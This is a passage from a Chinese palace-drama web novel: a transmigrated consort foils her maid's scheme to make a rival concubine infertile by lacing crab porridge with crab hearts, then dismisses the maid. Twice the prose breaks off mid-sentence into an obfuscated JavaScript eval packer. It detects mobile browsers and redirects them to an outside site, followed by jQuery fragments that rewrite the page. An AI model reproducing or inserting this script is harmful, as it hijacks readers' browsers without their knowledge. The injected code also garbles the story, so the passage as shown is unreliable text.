待走近,易琉璃有些局促地行了个礼,难得地主动开口道:“贵妃娘娘,嫔妾贸然前来,不知可有叨扰娘娘?” “怎么会?”云昭昭指着八仙桌旁空着的那把太师椅,道,“易常在请坐。” 易琉璃道谢后便拘谨地坐下,她正襟危坐,身体只沾了椅子靠前一小片区域,显然是非常紧张不安,一时也顾不上说话。 云昭昭也难免尴尬,毕竟无论如何在秋儿之死上,她都有巨大嫌疑,理应是她上门赔礼道歉的,现在对方却主动来了,这让她有些措手不及,气氛也一时僵住了。 约莫过了半炷香的光景,还是云昭昭率先试图打破沉默。 她推了推桌上的那壶桂花茶道:“易常在,这是新摘桂花沏的茶,很香,你尝尝看?” 说完她又觉得自己这样有些冒失,怕易琉璃不放心,她又先替自己倒了一杯喝了一大口,“嗯,真的很香的。” 易琉璃腼腆道谢,接过茶后小心地捧着,喝完后赞许道:“确实很香,桂花泡茶确实很温补。” 如此有一搭没一搭的尬聊又让现场陷入了沉默,跟着易琉璃前来的冬哥忍不住为自己主子捏了一把汗,她小声提醒道:“主子,你就跟娘娘说吧。” 易琉璃纤长的睫毛如蝶翼般微颤。过了半晌,似乎下定了某种决心,她终于鼓起勇气道:“娘娘,嫔妾、嫔妾今日来,是想同娘娘赔不是的。” “啊?”云昭昭一惊,不过很快便回过神来,连连摆手道,“别别,别这样,该我同你赔不是才对。” 易琉璃闻言眼神一滞。 她今日前来也是做了好久的心理准备的。她一向不愿同人起争执,只希望安稳度日,却没想到自己近日不知为何入了陛下的眼,反而得罪了这位新入宫的贵主儿。云家千金娇纵跋扈,脾性暴戾的事迹早已声名远扬,但今日宴会一见,她又觉得她同传闻中大不相同,便起了前来负荆请罪的心思,毕竟这样身份的人与自己有着云泥之别,说不定将来还是中宫之主,多一事肯定不如少一事。 她已准备好接受刁难,却没料到云昭昭会有这样的反应。 她甚至第一直觉以为云昭昭是在故意诈她,吓得连忙解释道:“不不不,娘娘,是嫔妾不好。嫔妾从小时常惊厥昏迷,刚才只是听到秋儿的名字一时情绪失控,绝对、绝对不是因为娘娘。” 她满脸涨得通红,言辞恳切。云昭昭自然比任何人都要清楚她的晕倒是怎么回事。 原书里,易琉璃的身世十分可怜,她的父亲易安国是先帝三十年的新科探花,母亲元氏则是易安国老家的一户乡绅之女,两人早早地定了婚约。但谁知易安国在京高中后竟被平南县主一眼相中。南平县主母亲是栎阳长公主,父亲乃郑国公嫡子,这等显贵岂是小小乡绅之女可比的?易安国便修书一封,寄回老家,同元氏解除了婚约。 恰好书里易安国老家那地儿属于封建社会里最封建的穷乡僻壤之地,女子婚前凡是被退了婚的,都会被默认存在难言之隐,当地的高门富户自然是不愿放下身段迎娶的,便只能退而求其次,嫁给附近的屠户渔夫农户之类。而元氏又是世间难得一见的痴情女子,她不愿放弃易安国,便独自上京,主动找上了门。 彼时易安国同南平县主已育有一子一女,婚后生活的鸡毛蒜皮,南平县主的跋扈专横让易安国越发难以忍受,又恰逢昔日旧情人对自己一片痴心,易安国便在京城置了处宅子,让元氏暂时住了进去,然后再想着慢慢劝说南平县主应允自己纳妾。 不过很快他便失算了,南平县主对他意欲纳妾之举反应相当激烈,也将府中大权咬得很死,直至易琉璃出生,甚至到她本人去世,易琉璃同元氏仍住在易安国当年买下的那处一进小院落里,两人靠着易府里微薄的接济金为生,易琉璃甚至从小就帮着母亲一起做女红出去卖钱。 后来南平县主去世后,易安国终于良心发现,力排众议将易琉璃母女接入府中并扶正,但元氏性子温良懦弱,南平县主留下的儿女便费尽心机地欺负母女俩,没过多久元氏便也含恨而终,而失去母亲庇护的易琉璃在府中受尽了家里恶霸子弟的欺凌,甚至她同父异母的兄长还曾设计过让她失身给自己的纨绔朋友。好在易琉璃福大命大,幸运地躲了过去。 她的惊厥便是在那时留下的。 云昭昭不免有些怜惜,她拉过她的手,安慰道:“我都知道,你那兄长易子骁可不是什么好东西,定是在家欺负过你吧?” 易琉璃的眼神闪过一丝慌乱,她赶紧摇了摇头,怯生生地道:“没有,没有娘娘,兄长没有欺负过我。” 云昭昭想起书里易子骁那个不成器的东西乃是易安国花钱托关系才给他在五军营里蒙了一个小官职,虽然随着她的入宫,五军营作为交换已由周徵暂任提督,但因为更迭时间仓促,下面的武将仍有不少是云琛过去任兵部尚书时的旧部下。 她便说道:“怕什么。秋儿的事情,是我欠了你,你那不成器的兄长我记得是在五军营供职,我父亲在那还有些旧人,到时候我托他让人去好好教训他一番,最好整得他屁滚尿流。” 在原书里,易子骁后来为难易琉璃时,还是暗恋她的周徵替她出的这口恶气,一想到自己现在既能弥补易琉璃,又能抢了周徵向女主示好的机会,云昭昭便自觉舒心无比,想到书里易子骁肥胖的身体被教训的丑态,她忍不住咯咯地笑出了声。 易琉璃呆呆地望着云昭昭,不知道她为何笑得这么开心,但面前女子嫣然含笑的美目中好像闪烁着某种亮得刺眼的神采,全不似虚情假意般的惺惺作态,看得她一时有些痴痴的。 过了一会儿,她回过神来,摇了摇头道:“怎、怎敢这样麻烦娘娘?” “这怎么能叫麻烦,我早就看你那兄长不爽了。”云昭昭说,“放心,我自会让人找他的麻烦,不会让他怀疑到你身上。” 她说得义愤填膺,仿佛易琉璃的事就是她自己的事。 毕竟她当时熬夜看书的时候,看到易子骁设计欺负易琉璃的时候,气得一激动把新配的眼镜给不小心撞坏了,害得她活活多花了一千大洋换新! 一千大洋!那可是一个社畜含辛茹苦996多少天的回报啊! 易琉璃闻言愣了一下,有些感动道:“娘娘,嫔妾、嫔妾今日其实还有些话想同娘娘说。” 她说话有些结巴,眼神却坚毅无比,云昭昭一点都不急,只耐心等着她慢慢组织语言。 过了一会儿,她听见她说:“其实秋儿的死,嫔妾相信……相信娘娘不是有意为之。” “你真这么觉得?”云昭昭眼睛一亮,心里又惊讶又窃喜。 她之前一直想着要避开书里的剧情却怎么都避不开,若是她这个“恶毒女配”能同原书女主搞好关系,那今后的剧情岂不是也能就此改变,往好的地方发展了?起码今日易琉璃的意外到访,就是脱离原书剧情的一个良好开端。 易琉璃点点头,诚恳道:“其实秋儿,秋儿她一直嫌嫔妾在宫里过得太窝囊……嫔妾自己忍气吞声倒没什么,但是她,她平白地跟着嫔妾,服侍嫔妾,难免心里委屈,憋着一肚子气。这次,这次好不容易受了陛下的恩宠,她可能觉得可以扬眉吐气了,所以冲撞了娘娘宫的姑姑也是可能的。” 她还是同书里一样善良,善解人意,云昭昭只恨自己不是一个男的,白白便宜了赵昶那厮。她握紧琉璃的手,认真道:“你别这样想。不管怎样,也是逐月打人不对,我本来说的要待她去翠微宫向你当面道歉,但既然你来了,那让她在这里也是一样。” 她随即问汀雪:“逐月呢?怎么回来都不见她人?” 汀雪道:“娘娘,最近秋蟹肥美,苏州府派人沿运河进贡了不少进京,那蟹儿不仅个头大,黄膏也足,个个都是顶盖儿肥,您下午赴宴的时候,尚食局便派人分了各宫小厨房不少。逐月姑姑现下应该正在小厨房里监督宫人们打理螃蟹呢。” “你去将她叫来。”云昭昭吩咐道。 不一会儿,逐月慢吞吞地踱来了,她那日挨板子的伤想来是还未痊愈,因此尽管她全力掩盖,但走起路来还是能看出来有些跛。 逐月一进花厅便看见的是云昭昭握着易琉璃的手同她有说有笑的这幅画面。她疑惑地张了张嘴,表情像是吞了只苍蝇一样,她略过了易琉璃,脸色灰白地同云昭昭请安:“娘娘叫奴婢来是有何事?” “逐月。”云昭昭的语气斩钉截铁,不容置喙,“今日正好易常在来了,她大人有大量,不和咱们再计较。那日秋儿的事,你同她好好认个错,以后便算了。” 逐月打量了易琉璃一通,神色五味杂陈,十分复杂, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108302|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但又看云昭昭的态度颇有种不达目的誓不罢休的气场,只得耷拉下一张脸,极不情愿地说:“易常在,当时打人确是奴婢一时冲动。” 说完后,她仍不死心地补了一句,“但,人绝对不是我杀的。” 她明显还不知道今日赏菊宴上的事,因此虽不情愿,态度却也没有像那日同秋儿打架时那般激动。因为易琉璃的在场,云昭昭也不方便问她手帕的事情,只好附和了一句:“易常在,此事我还会继续追查,若真有真凶,定会再给你一个交代。” 易琉璃点了点头道:“都过去了……娘娘,您愿意为嫔妾做的已经,已经够多了。” 说到这里,她刻意压低了一点儿声音,有些吞吞吐吐地说:“其实……娘娘入宫那日,嫔妾真不是故意要……” 云昭昭会意,连忙示意她噤声:“我都知道。” 易琉璃以为她是不想听,便更急着解释,“娘娘,嫔妾,嫔妾真的没有想要同娘娘抢陛下的意思。” 没等云昭昭回答,逐月在一旁说道:“二位主子,已过酉时三刻了,想来主子们在宴会上已垫了肚子,晚饭便可清减些,若是没胃口,奴婢便让厨房做了螃蟹来,也好尝个鲜。” 云昭昭之前听汀雪说起时心里就痒痒的了,穿书前她就好这一口时鲜,现在又可以免费吃到全国最好的,她就差垂涎三尺了。她看了看易琉璃,见她虽然表面克制,但眼里也有渴望之色,她在书里的设定也是个吃货。于是云昭昭欣然答应了。 虽然她对汀雪与逐月均不放心,但想来那种清蒸的螃蟹,也没有让人下毒的机会。 逐月一走,她又同易琉璃聊了聊天,易琉璃由于刚才进殿后太过于紧张,将她带来赔礼的礼物忘得一干二净,现在放松下来,经宫女冬哥一提醒,这才想起来。 她郑重地将一个袖珍的锦盒放在云昭昭手中,云昭昭打开一看,发现是一枚鸡蛋大小的羊脂白玉的如意,看上去奶白奶白,温润又洁净,握在手里冰凉凉、圆乎乎的,手感甚是喜人。 见她爱不释手,易琉璃腼腆地笑了笑,道:“这是嫔妾的娘留给嫔妾的。” 云昭昭不敢相信她将此等贵重之物送予自己,且一开始的目的仅仅是为了所谓的“请罪”,一时有些不知如何是好,手中小巧的如意也似是有千金重一样。 所谓礼尚往来,她绞尽脑汁也没想出来要用什么东西来回礼。 也送珠宝玉石?虽不会出错但也太无趣了,显示不出心意;或是送昂贵的人参灵芝之类的珍补品?又怕被有心人利用,搞出事情来。况且除了吃,她是真不知道原书女主到底还喜欢什么。 正想着,逐月已端了食物出来。 许是因为秋儿的事彻底揭过,她一改方才的颓唐,整个人看上去精神多了,甚至眼里闪着光,从前的精明劲儿仿佛又回到了她的身上。 她笑盈盈地将两碗蟹肉羹放在八仙桌上,“想着那蟹壳坚硬,还带刺儿,别伤了二位主子的柔夷,又怕主子们剥壳累着,便让厨房把那蟹肉和蟹黄尽数挑出来,拌着同老姜、香叶、黄酒一起蒸了,蒸熟后再用桂花上收集的露水,熬了这蟹肉羹出来,闻着就鲜。奴婢一路从小厨房出来,院子里的雀儿都追着奴婢跑呢。” 云昭昭看了一眼那两碗蟹肉羹,雪白的蟹肉撕成一丝丝的堆在小米粥上,上面铺着厚厚一层亮红的蟹膏,散发着红彤彤的油润光泽,淡黄的膏油在米汤上漂了一层,上面浮着粒粒金黄的桂花,蟹的鲜香与桂花的甜味丝丝入扣,让人忍不住味蕾萌动。 两碗蟹肉羹上都插着雪白的银质汤匙,宫里吃东西向来讲究,筷子汤匙都必要用银的,也免去了让宫人们试毒这一步骤。摆盘也很是讲究,云昭昭这边的蟹肉羹用哥窑的青瓷碗装着,旁边装饰了一朵新摘的菊花,而易琉璃那边的,则是用一只青花瓷碗装着,一旁放的则是一枝秋海棠。 “二位主子趁热吃吧,那蟹膏凉了就不那么香了。”逐月在一旁提醒道。 易琉璃看到食物,眼睛都在放光,她忍不住率先拿起勺子,但抬眼却望见云昭昭连筷子都没有动一下。 云昭昭面色凝重,刚才她从逐月端上这两碗蟹肉羹时心里便莫名有些紧张,待看到这两碗蟹肉羹的摆盘时那种紧张的情绪更甚。 “怎么了,贵妃娘娘,”易琉璃问,“您是胃口不好吗?”说着她挖了满满一大勺蟹膏蟹肉想要送进嘴里品尝。 说时迟那时快,电光火石之间,一个念头突然闪过云昭昭的脑海。 她当即扑向易琉璃的方向,在她吃下去之前,一巴掌扇掉了易琉璃的勺子。 易琉璃面前那碗蟹肉羹也被她衣袖席卷的大力带翻,蟹肉羹撒了一桌,青花瓷碗咕噜噜顺着光滑的紫檀木桌面滚落到地上,碎了满地。 27. 还礼 易琉璃完全被突如其来的变故弄懵了,她定定地坐在椅子上,右手还保持着拿着勺子的姿势,显然还没反应过来发生了什么。 云昭昭自然也没同她解释,刚才注意到两只不一样瓷碗,她突然抓住了原书中与螃蟹有关的剧情。 书里赏菊宴过去以后,原身云贵妃对易琉璃所获的宠爱嫉妒不已,随着赵昶临幸易琉璃的次数越来越多,间距越来越频繁,她开始整日整夜地担心,如果易琉璃率先怀上龙种会怎么样。 要知道,赵昶加冠后,乃至登基至今,后宫还未有所出,若是谁能最先诞下皇长子或长公主,那定是能母凭子贵,鱼跃龙门。 最受直接威胁的就是原身的地位,而恰恰书里的赵昶又对她态度冷淡,那为数不多的宠幸既像是为了权衡云家,也像是为了施舍她那可怜又泛滥的痴心。 见主子如此忧思过滤,书里表面上与原身同仇敌忾的逐月势必要为她分忧。 她很快给原身出了个主意,可以确保易琉璃神不知鬼不觉地生不出孩子,至此永绝后患。 她入宫已有多年,在成为嫔妃身边随侍的女官前,还曾于六局中的尚食局工作过很长一段时间,虽然因为后来在宫里的高调行事得罪了不少人,但依然有着一些自己的消息渠道。 比如,她得知了几天后的中秋夜宴当晚菜单中会有螃蟹,而宴会上都是公侯勋贵,千金命妇,都是贵人,宫里为了方便他们,便不会将螃蟹整只整只地端上,通常都是挑出蟹肉蟹膏做成蟹肉羹,除了能锁住鲜味,中和螃蟹的寒凉之外,又能最大程度上方便各位赴宴的贵人。 正好逐月掌握着尚食局一名司膳过去的秘密,便威胁她给易琉璃当晚的蟹肉羹中加入了巨量蟹心,那几乎是整场宴会螃蟹的量。 逐月此计算得十分缜密且歹毒。 蟹心乃极寒之物,本身却无毒,加入大量蟹心熬制的蟹肉羹不仅味道与寻常蟹肉羹无异,极其容易混淆视线,且便于处理,服用后就算伤了身体症状也不明显,还有延迟,追查下来也可以说成是易琉璃在这个季节食用了过量螃蟹,身子受寒,伤及了根本,才导致了不孕,最后任谁也查不到尚食局头上。 可惜人算不如天算,原书中宴会当晚,负责布菜的女官忙中出错,又因为易琉璃与纯嫔裴若桑坐得极近,所以裴若桑吃掉了那碗本属于易琉璃的蟹肉羹。 更巧的是,裴若桑在书里的中秋夜宴上突然晕倒,经太医诊断后确定有孕三月。当晚她回宫后便觉腹痛如绞,当场小产。 裴若桑这一胎怀上本就不易,前期又用了大量补药,身体已被耗得差不多,全靠补药撑着,又服用了这等厉害的寒物,人很快便因为出血过多而一命呜呼了。 书中赵昶命周徵十天之内就查清了真相,爱女的离世也让即将上任户部尚书的裴皓裴大人恨毒了云琛。如此中秋夜宴便成了原书里剧情的一个重要节点,裴若桑的死成了牵动云家大厦轰然倾塌的引线。 所以现在看见那两碗蟹肉羹,云昭昭立刻便怀揣着十二分的警惕。 有些事宁可信其有,不可信其无。易琉璃今日的到访已经超出了原书的剧情走向,那么逐月利用蟹心害人的事件也完全存在提前的可能。 经历了秋儿的死,与上次赏菊宴的变故,云昭昭不得不吸取教训。原书所创造的剧情,宿命性实在太强,要想改变云贵妃的剧情走向,她就必须得更小心、更谨慎,稍有疏漏就会导致剧情朝着原定轨迹发展。 在她想得出神之时,坐在她对面的易琉璃终于回过了神来,惊惶地看着满桌狼藉。 “娘娘,您这……这究竟是怎么回事?” 云昭昭惊得一身冷汗,她当然不能将实话告诉易琉璃,便只好顶着逐月铁青的面色,胡诌了一通。 “抱歉,抱歉,我方才太激动了。”她尴尬地笑笑,“我只是突然想起了之前看过的一本养生医术中提到的关于吃螃蟹的禁忌。” “什、什么禁忌?”易琉璃缩了缩脖子,惊恐地问。 云昭昭随机应变地信口道:“我记得那书中说了,咱们女性天生属阴,往往受环境影响更大,所以更需要顺应天时节气变化,顺应四季轮转,日月扭转,食五谷,养五脏,在日常饮食上就要做好滋阴补阳,阴阳平衡。” 易琉璃明显被她这一番唬人的话术弄得一愣一愣的,她甚至开始略带期待地睁着圆乎乎的杏眼,等着云昭昭的下文,这副模样像极了云昭昭上学时所见过的那种求知若渴的三好学生。 此外,就连包括逐月在内的宫人们,也都停下了手中的活,好奇地聆听云昭昭胡编乱造的“正理”。 云昭昭想了想,又继续瞎编道:“那么日常饮食要怎么做呢,就是要在时节变迁和日月轮转中遵从这个阴阳平衡之道。比方说啊,这夏季酷暑燥热,因此夏季阳气过盛,人们就爱用冰镇食物,吃凉食,为的呢就是补阴;而冬季天寒地冻,阴盛阳衰,大家也喜欢围炉煮茶,吃火锅炖菜,这也是为了补助阳气。” 流霜越听越佩服自家小姐,她都不知道向来爱玩且常被老爷嫌弃不爱看书的小姐,究竟是什么时候看的书呢?不会是半夜里偷偷在努力吧?想到这里, 她甚至好奇地问:“那像现在秋天呢,秋天不冷也不热的,该怎么吃呢?” “问得好!”云昭昭说到兴头上,也觉得自己虽然在编,但也编得相当有道理啊。她自信地“解答”道,“秋天虽阴阳相对平和,但秋天是什么,是从夏天转向冬天的过渡阶段,这阳气也是由盛转衰的,虽然什么都可以吃点,但寒凉之物肯定还得少吃。就比如说这螃蟹吧,虽然秋季肥美多膏,吃是肯定能吃,但螃蟹性寒,一定要适量适度地吃。” “再回到之前我说的每一天的饮食上来,中午旺盛阴衰,午夜阴盛阳衰,所以中午吃食可以补阴,而现在已接近黄昏,晚膳时间,阳气是在向着阴气转换的,这不就正正对应了前面所说的秋天吗?螃蟹属寒,所以这么大量的螃蟹一定不能这个时候吃,要吃也该是中午吃。” “哦。居然是这样。”易琉璃的宫女冬哥听了连连称是,而她面前坐着的易琉璃更是听得用胳膊撑在桌上,托着腮,神情专注,显然是听得有些入了迷。 云昭昭被她看得有些不好意思,“哎呀,我也是刚才等蟹肉羹上来之后,才想起来这本书上的内容。”说罢她只能吩咐宫人将剩下的这碗蟹肉羹端到殿外去喂猫儿。 她几乎是心里流着泪看着宫人将自己面前近在咫尺的蟹肉羹端走的。那满满的膏和鲜香的肉啊,看得她垂涎欲滴,可为了扭转原书的剧情走向,她只能暂时地牺牲一下自己的口腹之欲。 “诶,娘娘……可您的书。”易琉璃突然冷不丁地冒出了这么一句。 紧接着,在云昭昭还未反应过来之前,她已经从一桌洒掉的米粥和蟹肉的混合物中,“拯救”出了云昭昭之前随手放在桌上的那本话本子。 易琉璃用手帕小心翼翼地擦拭干净书脊上的残液,边擦还边看了一眼封皮上的名字,然后,她鬼使神差地翻开了那本书,她的动作一下子顿住了。 那一瞬间,云昭昭仿佛能听到易琉璃心中一道惊雷霹过的声音。 毕竟在原书里,易琉璃同她的母亲元氏一样,都是属于温厚善良的传统女性,被人欺负时也总是奉行多一事不如少一事的原则,不愿意主动与人斗争,甚至都不会主动报复,对于这种离经叛道,甚至可能存在古人违背伦理认知的话本小说,她显然是不能轻易接受的。 云昭昭只好干笑着掩饰道:“哎,让易常在见笑,这书既然已经弄脏了,那该扔就扔吧。”说着她便要去抢过来。 但下一秒,易琉璃却轻巧地避开了云昭昭的手。她忽然抬头,眼睛亮晶晶的,脸颊有些绯色,却更衬得她整个人红润有神采。 “贵妃娘娘,您、您这本书,可否,可否借嫔妾一看?” 这回反而是云昭昭有些不好意思了,毕竟这本书她还没仔细看过,之前也只是粗略扫了一眼,只知道是古代小叔文学,但正文里古人有没有偷偷写一些晋江不允许的脖子以下的内容,她就不得而知了。不过就凭古人那种高超的意识流驾驶技术,大概率该有的内容都会有。 云昭昭觉得自己就像是个要将无暇的白壁玷污的大恶人,但易琉璃那眼巴巴看着自己的模样,实在是太像一个渴望糖吃的小孩了,她只好心软了。 “那你拿去吧。”云昭昭痛心疾首道,这本书的内容她还没来得及看呢。“就当送给你了。” 她说完又意识到把这本弄脏了的书用来送人实在过于寒碜,于是又补充道:“我还从家里带了几本进宫,你若感兴趣可以再挑挑。” “真的吗?多谢娘娘。”易琉璃的语气里明显有了更多的期待,看云昭昭的目光里甚至多了一点崇拜,“贵妃娘娘,您家里的藏书真是丰富,连这些话本和养生医书都有……” 云昭昭掩饰地轻咳一声,起身命宫人收拾桌子,自己则带着易琉璃去挑她当时从云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108303|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 府偷带入宫的话本。 这些话本小说都是原主的私藏,她也只是怕宫中生活过于枯燥无聊,才让流霜偷偷打包了混在陪嫁行礼中带入宫的。 这些古代的破镜重圆文学,先婚后爱文学甚至追妻火葬场,强取豪夺文学在她看来套路都有些过时了,但对易琉璃这样的古代人来说却是新的大陆,甚至新的宇宙。她如获至宝。 云昭昭本来还愁怎么回礼呢,现在看来与其送一些没甚实用价值的实物,不如就将这几本书全送给她。毕竟送礼讲究的不是礼物的价值,而是能不能送到人家心坎上。 “看你这么喜欢,这几本书就送给你了。” “谢谢,谢谢娘娘!”易琉璃激动的脸蛋通红。 云昭昭狡黠地眨了眨眼,笑着说:“不过这宫里人多口杂,陛下又常去你宫里,为了避免被人看见,还是要做些掩护。” 易琉璃有些不解。 云昭昭也不过多解释,只让流霜去找了一些厚实的白绢布,剪成刚好与书名处空白区域一样的大小,再将沾了浆糊贴上去。最后,她又提笔上书《论语》《大学》等名。 易琉璃:“……” 完成后,云昭昭满意地看着自己的杰作,“好了,这样便可以了。我让流霜帮你打包打包,你带回去吧。” “是,嫔妾多谢娘娘!” 两人又有说有笑地从走至外殿花厅,夕阳已半个没入远处的疏疏树影里,清浅的一轮圆月不知何时悄无声息地爬上了树梢。 易琉璃同云昭昭告辞回宫,云昭昭又再次叮嘱了她近期一定要小心自己的吃食,才目送着她和冬哥离开。 待她一走,云昭昭的脸色瞬间阴得如同外面即将落幕的天色,她立即命人关闭了宫门,自己亲自到侧殿小厨房里去检查。 刚一走至小厨房的门口,就见一名负责烧火的小宫女神色匆匆地抱着一个小罐从里面出来,差点就要撞在了云昭昭身上。 “仔细着点儿!好好的眼睛长哪里去了!”流霜啐了一口,骂道,“差点就撞上贵妃娘娘了,冒冒失失的,像什么样子。” 那小宫女没想到主子千金贵体居然会亲自光临这生火做饭之地,当场吓得半死,连连道歉道:“奴婢错了,奴婢错了,请娘娘赎罪!下次,下次奴婢一定注意。”说着便准备跑开。 云昭昭赶紧拦住她道:“站住!你手里抱着的是什么?” 面对质问,小宫女结结巴巴地答道:“回娘娘,这是、这是煮粥的罐子,奴婢,奴婢正准备去清洗。” “厨房又不是没有存干净的清水,清洗个罐子的事,难道还非要到外面去?” 云昭昭的语气格外咄咄逼人,那小宫女几乎快要哭出来了,只好喏喏道:“是、是逐月姑姑,让奴婢这么做的。” “你胡说!”跟着赶来的逐月怒道,“我只是让你去清理,可没让你去外面!” 云昭昭不予理会,只让流霜从小宫女手中将罐子夺了过来。借着黄昏时残余的日光,她清楚地看见那罐子里还剩了一小半乳白的粥底,部分蟹柳丝和米浆一起残留在罐子内壁上。看来,这确实是熬螃蟹粥的罐子。 为了证实自己的想法,她又从旁抽了支筷子,伸进罐子里搅动。这不看不知道,一看吓一跳,只见剩余的粥底里混杂了数不清的蟹心、蟹胃,有些已经炖得软烂,和米浆混在一起,已快看不出原来的形状了。 “这是什么?”云昭昭厉声质问,“这种东西也是可以留着吃的吗!这是给易常在炖的吧?” 那小宫女已吓得眼里攒着泪珠,“娘娘饶命!奴婢,奴婢真的不知道啊!”说着她害怕地看了眼逐月,“逐月姑姑之前说,说这些扔了可惜,可以留起来。她,她在尚食局呆过,我们,我们哪敢反驳……煮粥的事,是她,她说娘娘您让这么安排的,奴婢们也不敢多嘴去问啊……” 她哭得战战兢兢,花容失色,云昭昭已经心里有数,果然随着易琉璃突如其来的提前拜访,逐月也提前将书里蟹肉羹的计策付诸行动。她让人处理了罐子里的残渣,回到寝殿又屏退了所有宫人,单单只留下了逐月。 “说罢。”云昭昭凛然道,“为什么要这么做?本宫可从未吩咐过你要这么做。” 逐月跪在地上,牙齿将嘴唇咬破了一个口子,丝丝鲜血带着铁锈味儿弥漫在唇齿间,腥甜的气息危险又诱人。 过了一会儿,她缓缓开口: “是奴婢自己要这么做的。但是,奴婢不后悔。” 28. 遣仆 “奴婢这么做,是为了娘娘的将来考虑。”逐月咬紧牙关,义正言辞道。 云昭昭看着逐月面上倔强的恨意,心里泛起阵阵凉意,“本宫何时要求你为我的将来考虑了?” 逐月垂眸,认真地答道:“因为奴婢是昭阳殿的女官,为了娘娘,就是为了奴婢自己。娘娘考虑到的事情,奴婢愿意为您出谋划策,娘娘没有考虑到的事情,奴婢也要替娘娘考虑。” 她语气铿锵,言辞恳切,好似真有那么一颗一心为主的赤胆忠心。但云昭昭知道原书里在云贵妃倒台后,逐月是怎么出卖云贵妃的。她看着逐月,嫌弃地皱了皱眉头。 “所以你考虑的结果就只有把你看不顺眼的人统统清理掉这一个办法吗?” “是的。”逐月的语气没有半分犹豫,“也包括娘娘看不顺眼的人。” 云昭昭当即觉得眼前的人已经病入膏肓,无可救药了,她摇了摇头,甚至不知道该说什么,如何反驳。 逐月却说:“奴婢知道娘娘在怪奴婢没有向娘娘知会就自作主张,但奴婢也没有想到易常在会突然来访,这种送上门的机会,奴婢是一定要去试,要去抓住的。在宫里这么多年来,奴婢也是凭着这个信念才走到今天的。” “这么说,你之前就已经策划好了?”云昭昭问。 逐月点了点头,眼中露出一丝坚毅与疯狂:“奴婢早就替娘娘筹谋多时了。” “娘娘如今还未能拴住陛下的心,那自然也不能让陛下的心被别人占了去。虽然娘娘现在仍是这后宫位份之尊,但易常在如果将来还是如此受宠,那她说不定会率先怀上龙种,届时一定会成为娘娘的最大威胁。” “行了。” 云昭昭因为刚才与易琉璃的相处,已对她有了些许好感,听逐月这么说,颇有些厌弃地说:“本宫不想再听你说这些,你擅自揣测主子心思本就是错,还强行以本宫名义谋害易常在,更是错上加错。听好了,本宫并不嫉妒易常在,也并不觉得她是威胁。” 听了她的话,逐月既心急又恨铁不成钢,她大声争辩道:“但就算不嫉妒,娘娘也必须往上走才行,只要往上走,就必须要这么做!” 她说完大笑了起来,笑声格外凄厉,让人听了头皮发麻,笑到最后,她的表情甚至呈现出一种苦相,眼里还掉了几滴泪。 “因为这宫里就是这样,你追我赶,只能不断前进,没有退路。别说娘娘今天还只是贵妃,就算将来入主中宫,成为皇后,也还是一样要往上走,走得越高越好,这才是这宫里唯一的生存之道。” “那我要是不往上走呢?人不害我,我不害人,我若不求陛下的宠爱,就安安稳稳做我的闲散贵妃不好吗?” 逐月充盈着血丝的眼中露出一抹狰狞,她说完又道:“也是,娘娘千金贵女,自然是不懂这些的。但只要进了宫,无论主子还是奴才,都是一样。特别像奴婢这样的人,若是不努力往上爬,稍一松懈便会掉到悬崖底下,若是今天不踩着别人,明天就会被别人踩在脚下……娘娘是不会理解的。” 云昭昭哑然。 她怎么不理解呢?她理解的。 穿书前的她大概就像逐月这样,不放过任何机会,不放弃任何可能。 哪怕一个别人看不起的小小机会她也要抓在手里才放心,甚至连轴转的工作后她也是加班到最后一个离开公司的,别人都说她是劳模。但只有她知道,她孤苦伶仃地只剩这么一条路,只有变得比别人更强,才可能获得想要的生活。 所以结局就是,她猝死来到了这里。 最近她也一直在思考,之前那样拼命到底是为了什么?有人就是天生命不好,而有人就是从出生就含着金汤匙,比如自己的原身。 “本宫比任何人都知道。”云昭昭思索了一下说,“但向上之路,就一定是要将别人踩在脚下吗?” “今日你踩我,明日我踩你,冤冤相报何时才是尽头?就像你说的那样,稍有不慎就会面临坠落。可你又能有多么强大?能够强大到抵御千人万人的唾骂,无敌到不让自己犯下任何错误吗?” 逐月终于不说话了。 其实从上次秋儿死后她在宫正司挨板子的时候就发现了,不知道多少人拿钱贿赂了那施刑的太监,虽然她月俸也不少,但终究一人难敌四手,一年的积蓄也不如人家贿赂的多。 说不害怕是不可能的。 从那时候起她就怕得不得了,生怕以后再被人捉住把柄。但也正因为如此,她更不愿让自己的弱点暴露,回宫是靠她自己,上药时再痛她也咬着牙,甚至半夜伤口疼得惊醒,她也用被子捂着嘴,争取不发出声音惊动隔壁的流霜等人。 夜里伤口上那种蚀骨的痛意,如同蚂蚁一般,一点点蚕食着她的灵魂,她越是痛苦,就也越清楚地知道,逆水行舟,不进则退,她只有往前走这一条路了。 “奴婢……”逐月的声音有些颤抖,“奴婢不会怕,不会后悔,更不会后退。” 见她如此冥顽不灵,云昭昭知道不能再任由其呆在自己身边了。 她从自己的妆奁里拿出一个织锦袋子,里面装着几片金叶。逐月个性极强,报复心又重,她不能做得太绝,能好聚好散便是最好的结果了。 “既然如此,本宫小小的昭阳殿也装不下姑姑远大的志向了。”说着她将锦袋塞进逐月的手里。 逐月震惊地抓着那只锦袋,眸中尽是不可思议,良久,她神情中还带着茫然,目光空洞地问道:“娘娘……这是要赶奴婢走吗?” 